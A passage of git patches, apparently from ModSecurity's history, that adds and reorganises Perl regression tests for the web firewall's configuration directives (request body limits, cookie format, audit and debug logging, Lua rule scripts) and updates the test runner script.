"SecRequestBodyLimit (greater)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecRequestBodyLimit 5 + ), + match_log => { + error => [ qr/Request body is larger than the configured limit \(5\)\./, 1 ], + }, + match_response => { + status => qr/^413$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1&b=2", + ), +}, + +### SecRequestBodyInMemoryLimit +{ + type => "config", + comment => "SecRequestBodyInMemoryLimit (equal)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRequestBodyAccess On + SecRequestBodyLimit 1000 + SecRequestBodyInMemoryLimit 266 + ), + match_log => { + -debug => [ qr/Input filter: Request too large to store in memory, switching to disk\./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => qq( + POST /test.txt HTTP/1.1 + Host: $ENV{SERVER_NAME}:$ENV{SERVER_PORT} + User-Agent: $ENV{USER_AGENT} + Content-Type: multipart/form-data; boundary=---------------------------69343412719991675451336310646 + Transfer-Encoding: chunked + + ) . encode_chunked(q(-----------------------------69343412719991675451336310646 +Content-Disposition: form-data; name="a" + +1 +-----------------------------69343412719991675451336310646 +Content-Disposition: form-data; name="b" + +2 +-----------------------------69343412719991675451336310646--), 1024), +}, +{ + type => "config", + comment => "SecRequestBodyInMemoryLimit (greater)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRequestBodyAccess On + SecRequestBodyLimit 1000 + SecRequestBodyInMemoryLimit 16 + ), + match_log => { + debug => [ qr/Input filter: Request too large to store in memory, switching to disk\./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => qq( + POST /test.txt HTTP/1.1 + Host: $ENV{SERVER_NAME}:$ENV{SERVER_PORT} + User-Agent: $ENV{USER_AGENT} + Content-Type: multipart/form-data; boundary=---------------------------69343412719991675451336310646 + Transfer-Encoding: chunked + + ) . encode_chunked(q(-----------------------------69343412719991675451336310646 +Content-Disposition: form-data; name="a" + +1 +-----------------------------69343412719991675451336310646 +Content-Disposition: form-data; name="b" + +2 +-----------------------------69343412719991675451336310646--), 1024), +}, + +### SecCookieFormat +{ + type => "config", + comment => "SecCookieFormat (pos)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 5 + SecCookieFormat 1 + SecRule REQUEST_COOKIES_NAMES "\@streq SESSIONID" "phase:1,deny,chain" + SecRule REQUEST_COOKIES:\$SESSIONID_PATH "\@streq /" "chain" + SecRule REQUEST_COOKIES:SESSIONID "\@streq cookieval" + ), + match_log => { + error => [ qr/Access denied with code 403 \(phase 1\)\. String match "cookieval" at REQUEST_COOKIES:SESSIONID\./, 1 ], + debug => [ qr(Adding request cookie: name "\$SESSIONID_PATH", value "/"), 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Cookie" => q($Version="1"; SESSIONID="cookieval"; $PATH="/"), + ], + undef, + ), +}, +{ + type => "config", + comment => "SecCookieFormat (neg)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 5 + SecCookieFormat 0 + SecRule REQUEST_COOKIES_NAMES "\@streq SESSIONID" "phase:1,deny,chain" + SecRule REQUEST_COOKIES:\$SESSIONID_PATH "\@streq /" "chain" + SecRule REQUEST_COOKIES:SESSIONID "\@streq cookieval" + ), + match_log => { + -error => [ qr/Access denied/, 1 ], + -debug => [ qr(Adding request cookie: name "\$SESSIONID_PATH", value "/"), 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Cookie" => q($Version="1"; SESSIONID="cookieval"; $PATH="/"), + ], + undef, + ), +}, + diff --git a/apache2/t/run-regression-tests.pl.in b/apache2/t/run-regression-tests.pl.in index e515929d..bbc88b7e 100755 --- a/apache2/t/run-regression-tests.pl.in +++ b/apache2/t/run-regression-tests.pl.in @@ -21,19 +21,23 @@ use Data::Dumper; use IO::Socket; use LWP::UserAgent; -my @TYPES = qw(config target rule); +my @TYPES = qw(config action target rule); my $SCRIPT = basename($0); my $SCRIPT_DIR = File::Spec->rel2abs(dirname($0)); my $REG_DIR = "$SCRIPT_DIR/regression"; my $SROOT_DIR = "$REG_DIR/server_root"; my $CONF_DIR = "$SROOT_DIR/conf"; my $LOGS_DIR = "$SROOT_DIR/logs"; +my $PID_FILE = "$LOGS_DIR/httpd.pid"; my $PASSED = 0; my $TOTAL = 0; my %C = (); my %LOG = (); +my $UA_NAME = "ModSecurity Regression Tests/1.2.3"; my $UA = LWP::UserAgent->new; -$UA->agent("ModSecurity Regression Tests/1.2.3"); +$UA->agent($UA_NAME); + +$SIG{TERM} = $SIG{INT} = \&handle_interrupt; my %opt; getopts('A:E:D:C:T:H:a:p:dh', \%opt); @@ -96,6 +100,7 @@ $opt{p} = 8088 unless (defined $opt{p}); ERROR_LOG => $opt{E}, HTTPD_CONF => $opt{C}, HTDOCS => $opt{H}, + USER_AGENT => $UA_NAME, ); unless (defined $opt{S}) { @@ -105,15 +110,17 @@ unless (defined $opt{S}) { dbg("OPTIONS: ", \%opt); -msg("Attempting to stop any already running regression tests instances..."); -httpd_stop(); +if (-e "$PID_FILE") { + msg("Shutting down previous instance: $PID_FILE"); + httpd_stop(); +} if (defined $ARGV[0]) { runfile(dirname($ARGV[0]), basename($ARGV[0]), $ARGV[1]); done(); } -for my $type (sort @TYPES) { +for my $type (@TYPES) { my $dir = "$SCRIPT_DIR/regression/$type"; my @cfg = (); @@ -196,14 +203,14 @@ sub runfile { if ($neg and defined $match) { $rc = 1; msg("response $mtype matched: $m"); - dbg("$LOG{$mtype}{buf}"); + dbg($resp); last; } elsif (!$neg and !defined $match) { $rc = 1; msg("response $mtype no match: $m"); - dbg("$LOG{$mtype}{buf}"); + dbg($resp); last; } } @@ -254,6 +261,29 @@ sub runfile { msg(sprintf("Passed: %2d; Failed: %2d", $pass, $testnum ? (1 - $pass) : ($n - $pass))); } +sub do_raw_request { + my $sock = new IO::Socket::INET( + Proto => "tcp", + PeerAddr => "localhost", + PeerPort => $opt{p}, + ) or msg("Failed to connect to localhost:$opt{p}: $@"); + return unless ($sock); + + my $r = "@_"; + $r =~ s/^[^A-Z]+//s; + $r =~ s/^[ \t]+//mg; + $r =~ s/^\x0a/\x0d\x0a/mg; + $r =~ s/([^\x0d])\x0a/$1\x0d\x0a/mg; + + print $sock "$r"; + $sock->shutdown(1); + + my @resp = <$sock>; + $sock->close(); + + return HTTP::Response->parse(join("", @resp)); +} + sub do_request { my $r = $_[0]; @@ -267,8 +297,8 @@ sub do_request { return $UA->request($r); } else { - # TODO: send a raw request via IO::Socket and - # return HTTP::Request->parse($response_string) +# dbg("REQUEST:\n", $r); + return do_raw_request($r); } return; @@ -281,10 +311,10 @@ sub match_response { msg("Warning: Empty regular expression.") if (!defined $re or $re eq ""); if ($name eq "status") { - return $@ if ($resp->code =~ m/$re/m); + return $& if ($resp->code =~ m/$re/); } elsif ($name eq "content") { - return $@ if ($resp->content =~ m/$re/m); + return $& if ($resp->content =~ m/$re/m); } return; @@ -303,7 +333,7 @@ sub match_log { do { $n += $fh->sysread($$rbuf, 1024, $n); # dbg("Match \"$re\" in \"$$rbuf\" ($n)"); - return $@ if ($$rbuf =~ m/$re/m); + return $& if ($$rbuf =~ m/$re/m); # TODO: Use select()/poll() sleep 0.1; } while (gettimeofday - $t0 < $timeout); @@ -324,7 +354,7 @@ sub dbg { my $out = join "", map { (ref $_ ne "" ? Dumper($_) : $_) } @_; - $out =~ s/^/DBG: /s; + $out =~ s/^/DBG: /m; print STDOUT "$out\n"; } @@ -336,15 +366,21 @@ sub msg { print STDOUT "$out\n"; } +sub handle_interrupt { + $SIG{TERM} = $SIG{INT} = \&handle_interrupt; + + msg("Interrupted via SIG$_[0]. Shutting down tests..."); + httpd_stop(); + + quit(1); +} + sub quit { my($ec,$msg) = @_; $ec = 0 unless (defined $_[0]); msg("$msg") if (defined $msg); - msg("Attempting to stop any regression tests instance still running..."); - httpd_stop(); - exit $ec; } @@ -362,7 +398,7 @@ sub httpd_start { $opt{a}, -d => $opt{S}, -f => $opt{C}, - (map { (-c => $_) } ("Listen $opt{p}", @_)), + (map { (-c => $_) } ("Listen localhost:$opt{p}", @_)), -k => "start", ); @@ -408,7 +444,7 @@ sub httpd_stop { $opt{a}, -d => $opt{S}, -f => $opt{C}, - (map { (-c => $_) } ("Listen $opt{p}", @_)), + (map { (-c => $_) } ("Listen localhost:$opt{p}", @_)), -k => "stop", ); @@ -454,7 +490,7 @@ sub httpd_reload { $opt{a}, -d => $opt{S}, -f => $opt{C}, - (map { (-c => $_) } ("Listen $opt{p}", @_)), + (map { (-c => $_) } ("Listen localhost:$opt{p}", @_)), -k => "graceful", ); @@ -510,5 +546,30 @@ sub httpd_reset_logs { $LOG{audit}{fd}->blocking(0); $LOG{audit}{fd}->sysseek(0, 2); $LOG{audit}{buf} = ""; + + # Debug + if (!defined $LOG{debug}{fd}) { + $LOG{debug}{fd} = new FileHandle($opt{D}, O_RDWR|O_CREAT); + } + $LOG{debug}{fd}->blocking(0); + $LOG{debug}{fd}->sysseek(0, 2); + $LOG{debug}{buf} = ""; } +sub encode_chunked { + my($data, $size) = @_; + $size = 128 unless ($size); + my $chunked = ""; + + my $n = 0; + my $bytes = length($data); + while ($bytes >= $size) { + $chunked .= sprintf "%x\x0d\x0a%s\x0d\x0a", $size, substr($data, $n, $size); + $n += $size; + $bytes -= $size; + } + if ($bytes) { + $chunked .= sprintf "%x\x0d\x0a%s\x0d\x0a", $bytes, substr($data, $n, $bytes); + } + $chunked .= "0\x0d\x0a\x0d\x0a" +} From 49e63a3e30e4df9471416c5db58f833290637bf8 Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Fri, 23 May 2008 19:25:03 +0000 Subject: [PATCH 030/110] More regression updates. --- .../regression/action/00-disruptive-actions.t | 6 + .../t/regression/config/00-audit-directives.t | 188 ++++++++++++ .../t/regression/config/00-debug-directives.t | 278 ++++++++++++++++++ apache2/t/regression/rule/00-script.t | 25 ++ .../t/regression/server_root/conf/httpd.conf | 31 ++ .../t/regression/server_root/conf/test.lua | 14 + .../regression/server_root/htdocs/index.html | 1 + .../t/regression/server_root/htdocs/test.txt | 1 + .../t/regression/server_root/htdocs/test2.txt | 1 + apache2/t/run-regression-tests.pl.in | 28 +- 10 files changed, 568 insertions(+), 5 deletions(-) create mode 100644 apache2/t/regression/config/00-audit-directives.t create mode 100644 apache2/t/regression/config/00-debug-directives.t create mode 100644 apache2/t/regression/rule/00-script.t create mode 100644 apache2/t/regression/server_root/conf/httpd.conf create mode 100644 apache2/t/regression/server_root/conf/test.lua create mode 100644 apache2/t/regression/server_root/htdocs/index.html create mode 100644 apache2/t/regression/server_root/htdocs/test.txt create mode 100644 apache2/t/regression/server_root/htdocs/test2.txt diff --git a/apache2/t/regression/action/00-disruptive-actions.t b/apache2/t/regression/action/00-disruptive-actions.t index 6cae4a3f..bc2521f0 100644 --- a/apache2/t/regression/action/00-disruptive-actions.t +++ b/apache2/t/regression/action/00-disruptive-actions.t @@ -299,6 +299,7 @@ }, match_response => { status => qr/^200$/, + content => qr/^TEST$/, }, request => new HTTP::Request( GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", @@ -316,6 +317,7 @@ }, match_response => { status => qr/^200$/, + content => qr/^TEST$/, }, request => new HTTP::Request( GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", @@ -333,6 +335,7 @@ }, match_response => { status => qr/^200$/, + content => qr/^TEST$/, }, request => new HTTP::Request( GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", @@ -350,6 +353,7 @@ }, match_response => { status => qr/^200$/, + content => qr/^TEST$/, }, request => new HTTP::Request( GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", @@ -369,6 +373,7 @@ }, match_response => { status => qr/^200$/, + content => qr/^TEST$/, }, request => new HTTP::Request( GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", @@ -386,6 +391,7 @@ }, match_response => { status => qr/^200$/, + content => qr/^TEST$/, }, request => new HTTP::Request( GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", diff --git a/apache2/t/regression/config/00-audit-directives.t b/apache2/t/regression/config/00-audit-directives.t new file mode 100644 index 00000000..e79c21f8 --- /dev/null +++ b/apache2/t/regression/config/00-audit-directives.t @@ -0,0 +1,188 @@ +### SecAudit* directive tests +{ + type => "config", + comment => "SecAuditEngine On", + conf => qq( + SecAuditEngine On + SecAuditLog $ENV{AUDIT_LOG} + ), + match_log => { + audit => [ qr/./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "config", + comment => "SecAuditEngine Off", + conf => qq( + SecAuditEngine Off + SecAuditLog $ENV{AUDIT_LOG} + ), + match_log => { + -audit => [ qr/./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "config", + comment => "SecAuditEngine RelevantOnly (pos)", + conf => qq( + SecRuleEngine On + SecAuditEngine RelevantOnly + SecAuditLog $ENV{AUDIT_LOG} + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecResponseBodyAccess On + SecDefaultAction "phase:2,log,auditlog,pass" + SecRule REQUEST_URI "." "phase:4,deny" + ), + match_log => { + audit => [ qr/./, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "config", + comment => "SecAuditEngine RelevantOnly (neg)", + conf => qq( + SecAuditEngine RelevantOnly + SecAuditLog $ENV{AUDIT_LOG} + SecResponseBodyAccess On + SecDefaultAction "phase:2,log,auditlog,pass" + ), + match_log => { + -audit => [ qr/./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "config", + comment => "SecAuditLogRelevantStatus (pos)", + conf => qq( + SecAuditEngine RelevantOnly + SecAuditLog $ENV{AUDIT_LOG} + SecAuditLogRelevantStatus "^4" + ), + match_log => { + audit => [ qr/./, 1 ], + }, + match_response => { + status => qr/^404$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/bogus", + ), +}, +{ + type => "config", + comment => "SecAuditLogRelevantStatus (neg)", + conf => qq( + SecAuditEngine RelevantOnly + SecAuditLog $ENV{AUDIT_LOG} + SecAuditLogRelevantStatus "^4" + ), + match_log => { + -audit => [ qr/./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "config", + comment => "SecAuditLogParts (minimal)", + conf => qq( + SecAuditEngine On + SecAuditLog $ENV{AUDIT_LOG} + SecRequestBodyAccess On + SecResponseBodyAccess On + SecAuditLogParts "AZ" + ), + match_log => { + audit => [ qr/-A--.*-Z--/s, 1 ], + -audit => [ qr/-[B-Y]--/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1r&=2", + ), +}, +{ + type => "config", + comment => "SecAuditLogParts (default)", + conf => qq( + SecAuditEngine On + SecAuditLog $ENV{AUDIT_LOG} + SecRequestBodyAccess On + SecResponseBodyAccess On + ), + match_log => { + audit => [ qr/-A--.*-B--.*-F--.*-H--.*-Z--/s, 1 ], + -audit => [ qr/-[DEGIJK]--/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1r&=2", + ), +}, +{ + type => "config", + comment => "SecAuditLogParts (all)", + conf => qq( + SecRuleEngine On + SecAuditEngine On + SecAuditLog $ENV{AUDIT_LOG} + SecRequestBodyAccess On + SecResponseBodyAccess On + SecAuditLogParts "ABCDEFGHIJKZ" + SecAction "phase:4,log,auditlog,allow" + ), + match_log => { + audit => [ qr/-A--.*-B--.*-C--.*-F--.*-E--.*-H--.*-K--.*-Z--/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1r&=2", + ), +}, diff --git a/apache2/t/regression/config/00-debug-directives.t b/apache2/t/regression/config/00-debug-directives.t new file mode 100644 index 00000000..b5376879 --- /dev/null +++ b/apache2/t/regression/config/00-debug-directives.t @@ -0,0 +1,278 @@ +### SecDebug* directive tests +{ + type => "config", + comment => "SecDebugLog (pos)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + ), + match_log => { + debug => [ qr/./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "config", + comment => "SecDebugLog (neg)", + conf => qq( + SecRuleEngine On + ), + match_log => { + -debug => [ qr/./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "config", + comment => "SecDebugLogLevel 0", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 0 + SecRule REQUEST_URI "." "phase:1,deny" + ), + match_log => { + -debug => [ qr/./, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "config", + comment => "SecDebugLogLevel 1", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 1 + SecRuleScript "test.lua" "phase:1" + SecRule REQUEST_URI "(.)" "phase:4,deny,deprecatevar:bogus" + ), + match_log => { + debug => [ qr/\]\[[1]\] /, 1 ], + -debug => [ qr/\]\[[2-9]\] /, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1&b=2", + ), +}, +{ + type => "config", + comment => "SecDebugLogLevel 2", + conf => qq( + SecRuleEngine DetectionOnly + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 2 + SecRuleScript "test.lua" "phase:1" + SecRule REQUEST_URI "(.)" "phase:4,deny,deprecatevar:bogus" + ), + match_log => { + debug => [ qr/\]\[2\] /, 1 ], + -debug => [ qr/\]\[[3-9]\] /, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1&b=2", + ), +}, +{ + type => "config", + comment => "SecDebugLogLevel 3", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 3 + SecRuleScript "test.lua" "phase:1" + SecRule REQUEST_URI "(.)" "phase:4,deny,deprecatevar:bogus" + ), + match_log => { + debug => [ qr/\]\[3\] /, 1 ], + -debug => [ qr/\]\[[4-9]\] /, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1&b=2", + ), +}, +{ + type => "config", + comment => "SecDebugLogLevel 4", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 4 + SecRuleScript "test.lua" "phase:1" + SecRule REQUEST_URI "(.)" "phase:4,deny,deprecatevar:bogus" + ), + match_log => { + debug => [ qr/\]\[4\] /, 1 ], + -debug => [ qr/\]\[[5-9]\] /, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1&b=2", + ), +}, +{ + type => "config", + comment => "SecDebugLogLevel 5", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 5 + SecRuleScript "test.lua" "phase:1" + SecRule REQUEST_URI "(.)" "phase:4,deny,deprecatevar:bogus" + ), + match_log => { + debug => [ qr/\]\[5\] /, 1 ], + -debug => [ qr/\]\[[6-9]\] /, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1&b=2", + ), +}, +{ + type => "config", + comment => "SecDebugLogLevel 6", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 6 + SecRuleScript "test.lua" "phase:1" + SecRule REQUEST_URI "(.)" "phase:4,deny,deprecatevar:bogus" + ), + match_log => { + debug => [ qr/\]\[6\] /, 1 ], + -debug => [ qr/\]\[[7-9]\] /, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1&b=2", + ), +}, +{ + type => "config", + comment => "SecDebugLogLevel 7", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 7 + SecRuleScript "test.lua" "phase:1" + SecRule REQUEST_URI "(.)" "phase:4,deny,deprecatevar:bogus" + ), + match_log => { + debug => [ qr/\]\[7\] /, 1 ], + -debug => [ qr/\]\[[8-9]\] /, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1&b=2", + ), +}, +{ + type => "config", + comment => "SecDebugLogLevel 8", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 8 + SecRuleScript "test.lua" "phase:1" + SecRule REQUEST_URI "(.)" "phase:4,deny,deprecatevar:bogus" + ), + match_log => { + debug => [ qr/\]\[8\] /, 1 ], + -debug => [ qr/\]\[9\] /, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1&b=2", + ), +}, +{ + type => "config", + comment => "SecDebugLogLevel 9", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRuleScript "test.lua" "phase:1" + SecRule REQUEST_URI "(.)" "phase:4,deny,deprecatevar:bogus" + ), + match_log => { + debug => [ qr/\]\[9\] /, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1&b=2", + ), +}, diff --git a/apache2/t/regression/rule/00-script.t b/apache2/t/regression/rule/00-script.t new file mode 100644 index 00000000..c09b1450 --- /dev/null +++ b/apache2/t/regression/rule/00-script.t @@ -0,0 +1,25 @@ + +# Lua +{ + type => "config", + comment => "SecRuleScript (lua)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 1 + SecRuleScript "test.lua" "phase:1" + ), + match_log => { + debug => [ qr/Test message\./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1;b=2", + ), +}, diff --git a/apache2/t/regression/server_root/conf/httpd.conf b/apache2/t/regression/server_root/conf/httpd.conf new file mode 100644 index 00000000..b3aa787f --- /dev/null +++ b/apache2/t/regression/server_root/conf/httpd.conf @@ -0,0 +1,31 @@ +### Base configuration for starting Apache httpd + +# File locations +PidFile /home/brectanu/projects/modsec/m2/trunk/apache2/t/regression/server_root/logs/httpd.pid +ScoreBoardFile /home/brectanu/projects/modsec/m2/trunk/apache2/t/regression/server_root/logs/httpd.scoreboard + +<IfModule !mod_proxy.c> + LoadModule proxy_module modules/mod_proxy.so + LoadModule proxy_http_module modules/mod_proxy_http.so +</IfModule> +<IfModule !mod_unique_id.c> + LoadModule unique_id_module modules/mod_unique_id.so +</IfModule> + +<IfDefine !NOMODSEC> + LoadFile /usr/lib/libxml2.so + LoadFile /usr/lib/liblua5.1.so + LoadModule security2_module modules/mod_security2.so +</IfDefine> + +ServerName localhost + +LogLevel debug +ErrorLog /home/brectanu/projects/modsec/m2/trunk/apache2/t/regression/server_root/logs/error.log + +DocumentRoot /home/brectanu/projects/modsec/m2/trunk/apache2/t/regression/server_root/htdocs +<Directory "/home/brectanu/projects/modsec/m2/trunk/apache2/t/regression/server_root/htdocs"> + Options Indexes FollowSymLinks + AllowOverride None +</Directory> + diff --git a/apache2/t/regression/server_root/conf/test.lua b/apache2/t/regression/server_root/conf/test.lua new file mode 100644 index 00000000..1cff076d --- /dev/null +++ b/apache2/t/regression/server_root/conf/test.lua @@ -0,0 +1,14 @@ +-- Test Lua Script to just print debug messages +function main() + m.log(1, "Test message."); + m.log(2, "Test message."); + m.log(3, "Test message."); + m.log(4, "Test message."); + m.log(5, "Test message."); + m.log(6, "Test message."); + m.log(7, "Test message."); + m.log(8, "Test message."); + m.log(9, "Test message."); + + return nil; +end diff --git a/apache2/t/regression/server_root/htdocs/index.html b/apache2/t/regression/server_root/htdocs/index.html new file mode 100644 index 00000000..16c51c1e --- /dev/null +++ b/apache2/t/regression/server_root/htdocs/index.html @@ -0,0 +1 @@ +INDEX diff --git a/apache2/t/regression/server_root/htdocs/test.txt b/apache2/t/regression/server_root/htdocs/test.txt new file mode 100644 index 00000000..2a02d41c --- /dev/null +++ b/apache2/t/regression/server_root/htdocs/test.txt @@ -0,0 +1 @@ +TEST diff --git a/apache2/t/regression/server_root/htdocs/test2.txt b/apache2/t/regression/server_root/htdocs/test2.txt new file mode 100644 index 00000000..55d8fa4b --- /dev/null +++ b/apache2/t/regression/server_root/htdocs/test2.txt @@ -0,0 +1 @@ +TEST 2 diff --git a/apache2/t/run-regression-tests.pl.in b/apache2/t/run-regression-tests.pl.in index bbc88b7e..30582b68 100755 --- a/apache2/t/run-regression-tests.pl.in +++ b/apache2/t/run-regression-tests.pl.in @@ -186,6 +186,13 @@ sub runfile { $httpd_up = httpd_start() ? 0 : 1; } + # Run any prerun setup + if ($rc == 0 and exists $t{prerun} and defined $t{prerun}) { + dbg("Executing perl prerun..."); + $rc = &{$t{prerun}}; + dbg("Perl prerun returned: $rc"); + } + if ($httpd_up) { # Perform the request and check response if (exists $t{request}) { @@ -216,6 +223,17 @@ sub runfile { } } } + else { + msg("Failed to start httpd."); + $rc = 1; + } + + # Run any arbitrary perl tests + if ($rc == 0 and exists $t{test} and defined $t{test}) { + dbg("Executing perl test(s)..."); + $rc = &{$t{test}}; + dbg("Perl tests returned: $rc"); + } # Search for all log matches if ($rc == 0 and exists $t{match_log} and defined $t{match_log}) { @@ -411,11 +429,6 @@ sub httpd_start { close $httpd_out; waitpid($httpd_pid, 0); - if (defined $out and $out ne "") { - msg("Httpd start failed with error messages:\n$out"); - return -1 - } - my $rc = $?; if ( WIFEXITED($rc) ) { $rc = WEXITSTATUS($rc); @@ -430,6 +443,11 @@ sub httpd_start { $rc = -1; } + if (defined $out and $out ne "") { + msg("Httpd start failed with error messages:\n$out"); + return -1 + } + # Look for startup msg unless (defined match_log("error", qr/resuming normal operations/, 10)) { quit(1, "Httpd server failed to start."); From 4bc1fc39f0423fdaafe0ddd311f3d87b8b13ffff Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Tue, 27 May 2008 19:08:51 +0000 Subject: [PATCH 031/110] Some reorg of regression tests. --- apache2/configure | 25 ++++++++++++++++++- apache2/configure.in | 13 ++++++++++ ...dit-directives.t => 10-audit-directives.t} | 0 ...bug-directives.t => 10-debug-directives.t} | 0 .../t/regression/config/10-misc-directives.t | 1 + apache2/t/run-regression-tests.pl.in | 14 +++++------ 6 files changed, 45 insertions(+), 8 deletions(-) rename apache2/t/regression/config/{00-audit-directives.t => 10-audit-directives.t} 